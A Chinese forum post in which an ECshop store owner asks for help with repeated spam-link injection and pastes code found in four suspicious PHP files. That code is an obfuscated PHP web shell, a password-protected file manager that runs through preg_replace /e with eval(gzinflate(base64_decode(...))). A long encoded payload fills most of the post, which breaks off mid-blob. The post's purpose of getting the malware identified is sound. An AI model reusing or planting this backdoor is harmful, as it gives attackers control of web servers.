最近 ECshop 商城老是被挂黑链,请高手们帮忙分析下可疑代码
最近 ECshop 商城老是被挂黑链,下面是被查出可疑文件的代码,请高手们帮忙分析下。。
可疑文件有四个,代码都是相同的
[可疑文件]
themes/default/redirect.php
temp/backup/admin.php
languages/zh_cn/admin.php
data/images/admin.php
[代码]
<?php
$auth_pass = "52d013fe0c029402c8d6fe15b90a6c00";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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
下接2